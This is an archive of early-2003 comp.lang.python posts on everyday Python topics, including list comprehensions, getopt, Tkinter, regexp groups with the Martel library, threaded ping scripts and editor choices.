> 2. nested functions - a little info was given by Danny in reply to my
> earlier post on local-static variables, but I would like more.
> 
> 3. Thoughts on implementing Interfaces in Py - a la Java interfaces.
   ...
 > I suspect that some of the above 3 points will help me to write my
 > app in a better way. though not sure, of course. Hence the request
 > for examples.

As someone who has used Python for >5 years, let me assure you that
you don't need to focus on these features to write your software.

1. Don't use lambda.

It's good for a few things, but in many cases you should use a
list comprehension.  For an example, cgi.py has

      plist = map(lambda x: x.strip(), line.split(';'))

as a list comprehension this is more more clearly written as

      plist = [x.strip() for x in line.split(';')]

2. nested functions

Again, it's very unlikely you'll need nested functions.  Eg, look
in the standard library and you'll find few uses of them.  There
are a few cases when they are useful, but they are tricky.

3. Interfaces

You don't need them.


Based in your post, it's best for you to work on object design,
coding, etc. and not be as concerned with these relatively
esoteric features of Python.

					Andrew
					dalke at dalkescientific.com




From mgarcia at cole-switches.com  Wed Jan  8 16:27:12 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Wed, 08 Jan 2003 21:27:12 GMT
Subject: Is it really good?
References: <mailman.1041979617.22059.python-list@python.org> <avfrvq$92m$0@216.39.172.122>
Message-ID: <gg5p1vgh3qrt3g130npna34rfp6qci011b@4ax.com>

On 8 Jan 2003 00:39:22 GMT, bokr at oz.net (Bengt Richter) wrote:
(edit)
>[16:38] C:\pywk\clp>ppcomp "2==3 is good"
>Module(
>  None,
>  Stmt(
>    [
>      Discard(
>        Compare(
>          Const(
>          | 2),
>          [
>            (
>            | '==',
>            | Const(
>            |   3)),
>            (
>              'is',
>              Name(
>                'good'))]))]))

What is 'ppcomp'? I can't find it as a module, and a search of my
Python installation found nothing.

Manuel



From padraig.brady at corvil.com  Thu Jan  9 05:18:51 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Thu, 09 Jan 2003 10:18:51 +0000
Subject: Command line arguments
In-Reply-To: <atcjva.cbr.ln@tu-144.dyndns.org>
References: <atcjva.cbr.ln@tu-144.dyndns.org>
Message-ID: <3E1D4C8B.1020203@corvil.com>

Dusausoy Bruno wrote:
> Hi, 
> 
> I'd like to have a program that is called like this :
> 
> prog [OPTIONS] [FILES]
> 
> I use the getopt module for the options but i don't know how to catch
> the FILES arguments. Can someone help me ?

try:
     options, files = getopt.getopt(sys.argv[1:], '', ["option1"])
     #if something wrong: raise "error"
     for o, a in opts:
         if o == "--option1": pass #...
except:
     print >> sys.stderr, "Usage: "+ sys.argv[0] + " [OPTIONS] [FILES]"
     sys.exit(1)

P?draig.




From max at alcyone.com  Thu Jan 23 19:27:55 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:27:55 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com> <3E3023B0.7060000@Linux.ie>
Message-ID: <3E30888B.D08A0480@alcyone.com>

Padraig at Linux.ie wrote:

> Chris Keyes wrote:
>
> > IBM will never use Python for everything...
> 
> Why do you say this?

It seems like a pretty safe bet.  It's pretty unlikely that any company
would use _one_ language for absolutely _everything_ they ever do.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From dhostetler at sopris.net  Mon Jan  6 18:45:07 2003
From: dhostetler at sopris.net (.d.hos)
Date: 6 Jan 2003 15:45:07 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com> <mailman.1041767229.6505.python-list@python.org>
Message-ID: <8db020b9.0301061545.48785623@posting.google.com>

Andrew McGregor <andrew at indranet.co.nz> wrote in message news:<mailman.1041767229.6505.python-list at python.org>...
> I wasn't sure at a first glance if it did work.  Now I go back and look, 
> I'm sure it does.
> 
> Andrew
> 
> --On Sunday, January 05, 2003 00:21:07 +0000 darrell <dgallion1 at yahoo.com> 
> wrote:
> 
> > Didn't mess with the checksum since it works and it's fast enough.
> > The pyrex code was cool to look at.
> 
> Thanks.  I was just trying to learn pyrex, but since it's also around 30x 
> faster, I'm going to keep it :-)
> 
> Andrew


Andrew,
Thanks for your response and suggestions - although i'm still having
issues with the code.

*although "p" vs. "P" did get rid of the intital error.

I looked into other multithreaded examples on the web and came up with
the following:

=============================
import threading, os

def log(s):
    print s

class Pinger(threading.Thread):
    def __init__(self, address, *args, **kwargs):
        self.address = address       
        threading.Thread.__init__(self, *args, **kwargs)        

    def run(self):
        pingCard = "ping -n 10 " + self.address
        child = os.popen(pingCard).readlines()
        log(child)      


if __name__ == '__main__':
    
    PingList = ["127.0.0.1", "66.218.71.83", "64.66.148.171"]
    threadList = []
    
    # Create threads
    for i in PingList :        
        threadList.append(Pinger(i))

    # Start all threads
    for thread in threadList:
        thread.start()
============================================

when run through idle, the python shell hangs after all the ips
respond. Do I have to stop each thread individually after it executes
the ping command? other than that it seems to work....

thanks again



From skip at pobox.com  Wed Jan 22 09:48:02 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 08:48:02 -0600
Subject: Newbie asks, how to get rid of the last four characters of a string?
In-Reply-To: <pan.2003.01.22.14.22.46.534199@yahoo.com>
References: <pan.2003.01.22.14.22.46.534199@yahoo.com>
Message-ID: <15918.44834.9123.637320@montanaro.dyndns.org>

    Christopher> I know I can do this with regular expressions, but is there
    Christopher> a function that can be used to chomp off the last four
    Christopher> characters without having to import the re module?

Sure:

    >>> fn = "something.doc"
    >>> fn[-4:]
    '.doc'
    >>> fn[:-4]
    'something'

or filename-like and less reliant on the fact that your extension contains
precisely four characters:

    >>> os.path.split(fn)
    ('', 'something.doc')
    >>> os.path.splitext(fn)
    ('something', '.doc')

Skip




From alloydflanagan at attbi.com  Thu Jan 16 10:12:36 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 16 Jan 2003 07:12:36 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <a8b7f07a.0301160712.46ae1843@posting.google.com>

"Thomas Weholt" <2002 at weholt.org> wrote in message news:<0BuV9.11459$CG6.203654 at news4.e.nsc.no>...
> In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
> where we prefix all variables with a single character to indicate datatype;
> strings are prefixed with s, integers with i, floats with f etc. etc.

My opinion:  If your use of a variable is so far away from its
declaration that you can't tell what type it is, your procedure is too
long.  A naming standard can't make up for code that's not readable
without it.

I do make an exception for the names of fields in a database table. 
The name of a field is referenced a long way from its definition
(which is in the database), and database fields are very
type-specific.  One could make similar arguments for global variables,
but of course we don't use those, right?



From martin at v.loewis.de  Wed Jan 15 11:57:04 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 17:57:04 +0100
Subject: DistUtils and pyo
References: <119cb623.0301150640.4bdcd436@posting.google.com>
Message-ID: <m3iswqe4gv.fsf@mira.informatik.hu-berlin.de>

stef_h at freemail.hu (Stef) writes:

> Can You help me?

Did you try reading the source of distutils?

Regards,
Martin



From max at alcyone.com  Sat Jan 18 20:44:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 18 Jan 2003 17:44:35 -0800
Subject: How to convert string to float in Python 1.2
References: <3e29dba4_4@corp.newsgroups.com> <Rn-dnTBd0sHKebSjXTWcrg@comcast.com>
Message-ID: <3E2A0303.450558A2@alcyone.com>

Terry Reedy wrote:

> I believe you have atof() (ascii-to-float) available, either in
> builtins or string module.

There's a string.atof, but you're better off using the float
type/function anyway.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Mona Lisa / Come to discover / I am your daughter
\__/ Lamya
    7 Sisters Productions / http://www.7sisters.com/
 Web design for the future.



From DeadWisdom at wisefool.net  Thu Jan  9 18:51:18 2003
From: DeadWisdom at wisefool.net (DeadWisdom)
Date: 9 Jan 2003 15:51:18 -0800
Subject: Explicit Frustration of the Self
References: <mailman.1041871714.8387.python-list@python.org>
Message-ID: <a1d2c9b4.0301091551.49ab0495@posting.google.com>

> 
> OK - officially a troll.
> 
> Tim Delaney

Oh hey hey, sorry.  Jeesh, I was just trying to push some ideas out. 
Criticize my ideas not me.  I'm actually quite amazed by the respect
for the explicit self, so I'm listening quite much to what people are
saying.  I hope I didn't ruin your day.



From BPettersen at NAREX.com  Sat Jan  4 11:46:01 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Sat, 4 Jan 2003 09:46:01 -0700
Subject: new years resolutions
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7C@admin56.narex.com>

> From: andy [mailto:andy at eastonwest.co.uk] 
[...]
> On a purely personal level, I *feel* that programming, to me, 
> is solving a problem by the use of a computer-programming 
> language.  To me, HTML coding doesn't *feel* like that, but 
> maybe that's because I'm not very *good* at it...  I think 
> its because of the lack of control structures (I am trying to 
> self-analyse to figure out what I mean)... having said that, 
> I suppose tables, for instance resemble control structures...
[...]

I told myself I wasn't going to keep this thread alive anymore, but then
who said I was either principled or consistent <wink>.

I think the above is the crux of the problem however. Ask yourself (i)
would I write HTML pages differently if I considered it programming?,
(ii) would I write Python programs differently if I considered writing
HTML programming?, (iii) would I view people writing HTML differently if
they were allowed to call it programming?, and finally, (iv) do I think
other people would view me differently if writing HTML was also
considered programming?

My personal answers are no, no, no, and I don't care. Wheter writing
HTML is programming makes no difference to anything I'm doing, nor do I
expect, does it to any of our web designers. It's a fact of life that I
couldn't do their work, and they couldn't do mine -- and I don't have
enough hubris to suggest that my work is either harder, more important,
or more meaningful (I'm having a hard time seeing another reason for
making a distinction... i.e. tell my _why_ you want do make a
distinction and the "how" should be much easier). Besides, even I end up
writing a lot of HTML (aka documentation) -- should I change my title to
"Software Architect/HTML writer" <wink>? (As an experiment, try telling
your boss you don't want to write documentation, in HTML, since you're a
_programmer_ <grin>).

Finally, it seems rather silly to try to define set membership (is HTML
in the set of programming languages?) as a all or nothing (function
returning either 0 or 1) when (a) you don't have a concrete definition,
(b) it seems to rely on a combination of factors in varying degrees, and
(c) a good number of the people interested all but define it as the
intent _they're_ having when _they're_ writing HTML ("HTML is something
I use for documentation, for my _real_ work I use X".) For a much better
(or at least more interesting) approach google for "Russel's paradox"
and "fuzzy logic".

ok-I'll-shut-up-now'ly y'rs
-- bjorn




From me at privacy.net  Thu Jan 30 19:46:09 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Fri, 31 Jan 2003 13:46:09 +1300
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <805j3vo0jimcdl8aj0pgfagj7rufm26avp@4ax.com> <6q7j3v44j815grtu2k1pq9tqcdvv3akgd8@4ax.com>
Message-ID: <3E39C751.6070602@privacy.net>

Dale Strickland-Clark wrote:

> dbTable('tblMembers', keyField='memberID')
> dbTable('tblPermissions', keyField=('memberID', 'permissionID'))
> 
> Turning the first keyField into a single item list (or tuple) looks
> untidy.


You could use two different keyword parameters
depending on whether you want to pass a single
item or a list. e.g.

dbTable('tblMembers', keyField = 'memberID')
dbTable('tblPermissions', keyFields = ('memberID', 'permissionID'))

-- 
Greg




From adalke at mindspring.com  Fri Jan 10 17:33:57 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 15:33:57 -0700
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <qol3f-p27.ln1@news.lairds.org>
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org>
Message-ID: <avni6r$im1$1@slb2.atl.mindspring.net>

Kyler Laird wrote:
> As it is, I am resigned to understanding that Python's re
> module makes an arbitrary and undocumented decision to return
> the last instance of a match for a group.  I'm embarrassed.

It is documented, and behaves as documented.

http://www.python.org/doc/current/lib/match-objects.html
] If a group number is negative or larger than the number of
] groups defined in the pattern, an IndexError exception is
] raised. If a group is contained in a part of the pattern that did not 
] match, the corresponding result is None. If a group is contained
] in a part of the pattern that matched multiple times, the last
] match is returned.

As far as my research went, no standard regexp library could provide
that sort of information.  They only give the last group which
matched a pattern.

I ended up writing my own regexp engine (!), Martel, which is at
http://www.dalkescientific.com/Martel/ and based on mxTextTools.
(You may consider that package as well.)  Martel is part of the
Biopython package at http://www.biopython.org/ .

Here's what you wanted originally

	import re

	text = 'foo foo1 foo2 bar bar1 bar2 bar3'

	test_re = re.compile('([a-z]+)( \\1[0-9]+)+')

	print test_re.findall(text)

     I expected the matches to be something like
	[('foo', [' foo1', ' foo2']), ('bar', [' bar1', ' bar2',
              'bar3'])]
     but it's just this.
	[('foo', ' foo2'), ('bar', ' bar3')]

Here's how to do that in Martel.  Note that I had to tweak
the regexp slightly, since Martel requires the pattern to match
the full string.

Martel converts the match tree into an XML SAX stream, so I
wrote an XML ContentHandler since you want the output to be in a
special form.  Oh, and Martel uses named groups, not the unnamed
ones you have.  (I have patterns with hundreds of parens, and
also I use the regexp group names as XML element names.)

I start off by building the expression and making a Martel
parser out of it.  I then showing how it gets converted into
XML.  (The extra '; print' is for clarity.)  I then show how
to handle your specific case.

 >>> import Martel
 >>> pattern = Martel.Re(r"(?P<word>[a-z]+)( (?P<var>(?P=word)[0-9]+))+")
 >>> full_pattern = pattern + Martel.Rep(Martel.Str(" ") + pattern)
 >>>
 >>> parser = full_pattern.make_parser()
 >>> from xml.sax import saxutils
 >>> parser.setContentHandler(saxutils.XMLGenerator())
 >>> parser.parseString("foo foo1 foo2 bar bar1 bar2 bar3"); print
<?xml version="1.0" encoding="iso-8859-1"?>
<word>foo</word> <var>foo1</var> <var>foo2</var> <word>bar</word> 
<var>bar1</var> <var>bar2</var> <var>bar3</var>
 >>>
 >>>
 >>> class Capture(handler.ContentHandler):
...     def startDocument(self):
...             self.matches = []
...             self.save_chars = 0
...             self.text = ""
...     def startElement(self, name, attrs):
...             if name in ("var", "word"):
...                     self.text = ""
...                     self.save_chars = 1
...     def characters(self, s):
...             if self.save_chars:
...                     self.text += s
...     def endElement(self, name):
...             if name == "word":
...                     self.matches.append( (self.text, []) )
...                     self.save_chars = 0
...             if name == "var":
...                     self.matches[-1][-1].append(self.text)
...                     self.save_chars = 0
...
 >>> capture = Capture()
 >>> parser.setContentHandler(capture)
 >>> parser.parseString("foo foo1 foo2 bar bar1 bar2 bar3")
 >>>
 >>> capture.matches
[('foo', ['foo1', 'foo2']), ('bar', ['bar1', 'bar2', 'bar3'])]
 >>>


> At the very least, the documentation should be changed to say
> that only the last match of a group will be returned.  Better
> still would be an explanation of why the last one was chosen
> and how that makes Python's behavior more predictable.

It is documented.  And it is consistent with other regexp libs,
eg, I know Perl's works that way.  I have 2nd ed. of Friedl's
regexp book, but I haven't read it yet and I can't find where
he talks about it.  Still, this behaviour is highly consistent
with the other regexp packages.

> No, I *really* want the re module to work like it's documented.
> What will I do when I encounter a need to do something like this
> and it doesn't happen to be related to HTML?

It is working as documented.

You can also solve this without regexps.

> I certainly did not encounter a limitation with REs - I can
> define the solution perfectly using an RE.  The problem is just
> getting the Python re module to share its results.  Python's
> broken re module doesn't make REs any less appropriate.

Show me a module besides Martel which lets you get access to
the parse tree.  I looked at about a dozen packages, read
through Friedl's 1st edition book, and posted to various newsgroups
looking for one.

The problem is that the regexp defines a tree structure, but
the interface to the parsers are linear, and there was a choice
make (some time ago) to flatten that tree to only contain the
last groups which match.

					Andrew Dalke
					dalke at dalkescientific.com




From edlsoft at mindspring.com  Fri Jan 10 11:07:58 2003
From: edlsoft at mindspring.com (Burt Leavenworth)
Date: Fri, 10 Jan 2003 16:07:58 GMT
Subject: TKINTER glitch on 2.2.2
References: <3e1d7d02.108813@news1.news.adelphia.net> <1i7kva.4vo.ln@boundary.tundraware.com> <3e1e22e0.12108310@news1.news.adelphia.net> <Xns92FEE1198510Dhowardeegsoftwarecom@66.75.162.201>
Message-ID: <3e1eee14.12007664@news1.news.adelphia.net>

On Fri, 10 Jan 2003 06:09:55 GMT, Howard Lightstone
<howard at eegsoftware.com> wrote:

>edlsoft at mindspring.com (Burt Leavenworth) wrote in
>news:3e1e22e0.12108310 at news1.news.adelphia.net:
>
>>>Burt Leavenworth wrote:
>>>> I am upgrading from 1.5.2 to 2.2.2 but now my GUI applications which
>>>> work on 1.5.2 no longer work properly.
>>>> 
>
>> from Tkinter import *
>> import sys
>> win = Tk()
>> button = Button(win, text = 'Goodbye',command = sys.exit)
>> button.pack()
>> mainloop()
>> 
>
>> 
>> There must be some dumb omission.
>> 
>> Burt
>
>The proper way to exit mainloop() cleanly is to call the quit() method.
>
>However, I assume you called this with python.exe. There is a known bug (SF 
>#453489 or #216289 ??) with Tk 8.3  and earlier which will cause the task 
>to hang forever (you can't kill it since it gets hung in the task 
>termination processing).  You can use pythonw.exe and get better results 
>there.  
>

Yes, when I use pythonw.exe it works just fine. Thanks for the info.

Burt




From andrew at indranet.co.nz  Sat Jan  4 07:33:34 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 01:33:34 +1300
Subject: Best Python Editor (under Linux)
In-Reply-To: <3E16D06B.4080302@tiscali.co.uk>
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
 <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com>
 <0zhR9.7019$Gv4.4628@fe08> <3E16D06B.4080302@tiscali.co.uk>
Message-ID: <173140000.1041683614@localhost.localdomain>


--On Saturday, January 04, 2003 12:15:39 +0000 Paddy 
<paddy3118 at tiscali.co.uk> wrote:

> One feature that would be nice is multiple language syntax colouring for
> things like embedded scripts in HTML or a python 'here document', ( <<!
> ...!), in a bash script. Is this available in editors yet?
>
> Thanks, Paddy.

How about <http://mmm-mode.sourceforge.net/>?  Emacs, of course.

Andrew




From ykingma at accessforall.nl  Sun Jan 19 03:59:14 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sun, 19 Jan 2003 09:59:14 +0100
Subject: socket programming strategy
References: <mailman.1042929275.30975.python-list@python.org>
Message-ID: <3e2a6e7d$0$157$e4fe514c@dreader7.news.xs4all.nl>

Jeethu Rao wrote:

> I've been writing a multi threaded server,
> Can't use select, because there'll be a bit number
> crunching to do.

You can use blocking select when you do the crunching
on another thread. 

Have fun,
Ype


-- 
email at xs4all.nl



From mongo57a at comcast.net  Tue Jan 21 17:00:04 2003
From: mongo57a at comcast.net (mongo57a at comcast.net)
Date: Tue, 21 Jan 2003 22:00:04 GMT
Subject: Pmw and BLT
References: <3e2c4761_1@binarykiller.newsgroups.com> <Xns9309EDD7A53EDhowardeegsoftwarecom@66.75.162.201>
Message-ID: <3e2da6d4_1@binarykiller.newsgroups.com>

Thanks Howard. Now you've got me scared about implementing Blt in Windows...
:).
I'm not sure how to translate your message to the Linux world. Overall, this
problem is very strange. I can not execute packages containing Blt
references - yet if I go into python and execute dir(Pmw.Blt), all of the
Blt functions do show up.

Is this similar to what you saw in Windows?

Regards,
Andy


-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From tim.one at comcast.net  Sun Jan  5 01:07:26 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 05 Jan 2003 01:07:26 -0500
Subject: Okay, okay.
In-Reply-To: <3E17C5AE.E0DC54B4@sdfsdfa.invalid>
Message-ID: <LNBBLJKPBEHFEDALKOLCAECJDGAB.tim.one@comcast.net>

[Jive Dadson]
>>> Alright already.  I'll do it.

[Tim]
>> Do what?

[Jive]
> I'll write up a skreed with some observations on the present
> implementation and how it might be modified.

Ah, this is about the threading module.  Here's a hint:  if you make A
Project out of writing something up, you're also making A Project out of it
for someone to read and respond to it.  Neither Guido nor I can justify
spending work time on that, so it has to fit in spare time -- and there
isn't any.  That doesn't mean I don't want to hear what you've got to say,
but it does strongly suggest <wink> that you'll be best off with a leisurely
sequence of bite-sized msgs.  The "boy, I wish I could make time to reply to
that" stack in my inbox currently contains over 5,000 msgs, dating back to
the last millennium <wink>.





From asmirnov at asmirnov.com  Tue Jan 28 14:43:17 2003
From: asmirnov at asmirnov.com (Andrei Smirnov)
Date: 28 Jan 2003 11:43:17 -0800
Subject: patching of python: tabs make me seek of python
Message-ID: <f210c9f3.0301281143.22c01152@posting.google.com>

hi

i'm in python project. python is very good despite some problems with threads
but still very usefull (especially with swig). 
i'm using python with pleasure until i have to deal with tabs.

it is about 4 people here who's doing development. nobody cares about design
yet, we don't know what we are doing :) it's okay, we are in good shape for now.
however i found that it is extremly difficult to work with somebody else code
and repackage my own code into classes. tabs always find the way out of control.
moreover, my favorite emacs keys to locate block boundaries doesn't work, too bad.

all that make me think that somebody already has THE PATCH to treat curly braces
as old c++ programmer would expect. it could be just a cmd line switch to python.

if nobody has it someday i might try to do that. any legal objections from python
maintainers regarding of distribution of that?

please, don't try to convince me that tabs are good: i'm too lazy to even think
about it. i just want curly braces.

regards,
andrei, email: sans at clinton com



From zope at thewebsons.com  Sat Jan 11 04:42:41 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 05:42:41 -0400
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <xI9H+kKkXkKT092yn@gnosis.cx>         
References: <mailman.1042262600.31378.python-list@python.org>
Message-ID: <5.1.0.14.0.20030111054152.021e8488@mail.thewebsons.com>

At 03:13 AM 1/11/2003 -0500, you wrote:
>beno <zope at thewebsons.com> wrote previously:
>|Someone wrote me from this list advising me to drop my passion for
>|functional programming because Python doesn't optimize for it. Then I
>|remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
>|this problem by converting the stack into a tree, just like XSLT? Doesn't
>|that make optimization for tail recursion a cake-walk? And, if so, if I
>|implement the necessary changes to my Python distro, can I write recursive
>|programs without worrying about optimization problems?
>
>I think someone has found my reference to recursive transition networks,
>or Laura's releated one to Markov chains.  As near as I can tell, this
>post is a random assemblage of commonly occurring (related) words and
>phrases from past c.l.py messages.
>
>Am I right? Do I get a prize for noticing it?

No. All this occurred in my head via memory.


>Laird didn't make Stackless.  Stackless doesn't optimize tail recursion.
>None of this has anything to do with XSLT.  There's no real connection
>between stack trees and recursion.  Etc.

Darn :(
Thanks, tho.
beno






From donn at drizzle.com  Fri Jan 24 01:30:44 2003
From: donn at drizzle.com (Donn Cave)
Date: Fri, 24 Jan 2003 06:30:44 -0000
Subject: Alternative to os.listdir()/os.stat()
References: <mailman.1043304821.26500.python-list@python.org> <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com> <mailman.1043384861.10484.python-list@python.org>
Message-ID: <1043389843.310487@yasure>

Quoth Jp Calderone <exarkun at intarweb.us>:
| On Thu, Jan 23, 2003 at 08:15:04PM -0800, Tim Roberts wrote:

|> You realize, of course that "ls -ltra" does exactly what your loop does?
|> The only difference is that it's in C.
|
|   Not -exactly- the same thing.  ls has the advantage of having access
| opendir() and readdir(), which are significantly faster than repeated calls
| to stat.  Hopefully a future version of posixpath.c will provide access to
| these for us poor Python programmers.

I doubt it!  It's certainly possible that ls as implemented on a
specific platform may be able to get all that information without
calling stat.  But if you think POSIX 1003.1 readdir can do anything
like that - it would be interesting to see how, maybe I'm missing
something.

	Donn Cave, donn at drizzle.com



From tismer at tismer.com  Thu Jan 30 22:50:16 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 04:50:16 +0100
Subject: Implicit lists
In-Reply-To: <3E39C751.6070602@privacy.net>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <805j3vo0jimcdl8aj0pgfagj7rufm26avp@4ax.com> <6q7j3v44j815grtu2k1pq9tqcdvv3akgd8@4ax.com> <3E39C751.6070602@privacy.net>
Message-ID: <3E39F278.1040505@tismer.com>

Greg Ewing (using news.cis.dfn.de) wrote:
> Dale Strickland-Clark wrote:
> 
>> dbTable('tblMembers', keyField='memberID')
>> dbTable('tblPermissions', keyField=('memberID', 'permissionID'))
>>
>> Turning the first keyField into a single item list (or tuple) looks
>> untidy.
> 
> 
> 
> You could use two different keyword parameters
> depending on whether you want to pass a single
> item or a list. e.g.
> 
> dbTable('tblMembers', keyField = 'memberID')
> dbTable('tblPermissions', keyFields = ('memberID', 'permissionID'))

That's a very clean proposal, avoiding all the mess.
While I have to repeat that I'd really like to
see the sequence-ness of strings to be deprecated.
I have no objection to accept tuple(string) or
list(string) as valid operations to create
sequences from strings.
But I almost never have seen a really useful
application of string's default sequenceness.
Compared to all the mess raised in this thread,
it isn't worth it.

Guido, please make strings into atoms.

why-is-an-integer-not-the-sequence-of-its-digits- ly y'rs - chris





From wouterm at spammers-unite-here.com  Wed Jan 15 00:21:03 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Wed, 15 Jan 2003 13:21:03 +0800
Subject: RH8.0, gfax, python
References: <PZEU9.509$Pw.315@news1.central.cox.net> <b008bq$ac122@imsp212.netvigator.com> <etVU9.4548$Pw.358@news1.central.cox.net>
Message-ID: <b02qfc$lsm1@imsp212.netvigator.com>

Hi Kelv,

> Thanks for the info. Squirrelfax looks promising, though I don't think
> it will do what I want, which is to communicate with a Hylafax server
> elsewhere on my network. I will watch for updates though. Good luck.

So far I do not plan to implement this - main reason is that I have a
laptop. Only a laptop. So no way to test it! Maybe later indeed.

>
> Is there any other alternative to Gfax that would do the same thing?
> i.e. pretend to be a printer, and when activated by lpr it would spawn a
> dialogue to ask for the phone number, etc before sending to the Hylafax
> server. Basically, WHFC but for Linux :)

I only know of PrimaFax, free for home use with only few restrictions in
Linux. Does not support Gnomecard or Evolution address books, with some
hacking I used to have it working nicely as printer. In Mandrake 9.0 it does
not work anymore, that is the program itself does not run properly. Has to
do with the UI I think.

Furthermore no programs like gfax, which I personally simply didn't like in
the 0.5 version (have problems running that version now). This is the reason
I started hacking myself!

Wouter.





From exarkun at intarweb.us  Sat Jan 18 12:01:18 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sat, 18 Jan 2003 12:01:18 -0500
Subject: python compiler (psyco)
In-Reply-To: <20030118025248.11673.00000075@mb-ce.aol.com>
References: <mailman.1042690025.16695.python-list@python.org> <20030118025248.11673.00000075@mb-ce.aol.com>
Message-ID: <20030118170118.GC22993@meson.dyndns.org>

On Sat, Jan 18, 2003 at 07:52:48AM +0000, CIouded 0ne wrote:
> i couldnt get the compiler to be installed right i tryed running the python
> interpreter and typing 
> 
> 
> python setup.py install
> 

  A couple things.  Psyco is not the Python compiler.  It's a Python JIT
compiler, which is a special thing, and which you probably don't need.  The
Python compiler comes with the standard Python install and is invoked
transparently for you when necessary.  Second, you don't run this command in
the Python interpreter, you run it in a shell.  It is a command that invokes
the Python interpreter, causes it to run the code in 'setup.py', passing
'install' as the only command line argument.

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
--
 12:00am up 33 days, 9:48, 4 users, load average: 0.08, 0.17, 0.17
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/7e2dc68d/attachment.sig>

From jimmy at retzlaff.com  Tue Jan 14 18:24:17 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Tue, 14 Jan 2003 15:24:17 -0800
Subject: [ann] Minimal Python project
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C77@MAYOR.retzlaff.com>

Skip Montanaro wrote:
>   Jimmy> Psyco created two specialized versions of my function - one
for
>   Jimmy> use with integers and another for use with floating point
>   Jimmy> numbers.
>
> Which, depending on the particular computation, might differ
semantically
> from one another, what with floating point inaccuracies and all.
> ...

Isn't this issue inherent in Python and not introduced by Psyco? I was
actually calling the function in question with objects of type int in
some cases and with objects of type float in other cases. Hence the
potential differences were already there before Psyco (but not an issue
in my particular case). I don't think Psyco changed the situation.

My C version did have potential semantic differences from the Python
version in that parameters to it were always coerced to doubles. Hence
any distinctive int parameter behavior was lost (again not an issue in
my particular case).

Now if Psyco were so aggressive as to look at parameter values and
decide that, for example, 17.0 could be treated as an object of type
int, then there indeed could be serious issues. This would be especially
true if uses of the operator / were present without "from __future__
import division" or if magnitudes were large enough to induce any
overflow behavior. I don't see any other issues off the top of my head,
but I'm certainly not an expert on the intricacies of binary floating
point.

Jimmy




From stojek at part-gmbh.de  Wed Jan 29 13:44:09 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Wed, 29 Jan 2003 18:44:09 +0000
Subject: import View
References: <290120031451363280%francesco@akiraland.net> <3E37F42F.790317F9@engcorp.com> <3E37FC4B.3060102@akiraland.net>
Message-ID: <4s7g3v80aabh3k047iuvpjm6d9htp63g3c@4ax.com>

Ahhhh,
this really helps ;-)

Maybe you need PythonWin (win32all) if you are on an Win plattform.
There you will find a module named view.py

http://www.python.org/windows/win32all/

marcus

>yes.. I've found this python code:
>
>import Numeric
>import MLab
>import View
>
>...code...
>
>
>and I'm not able to run it because the interpreter says..
>ImportError: No module named View
>
>thanks,
>   francesco.




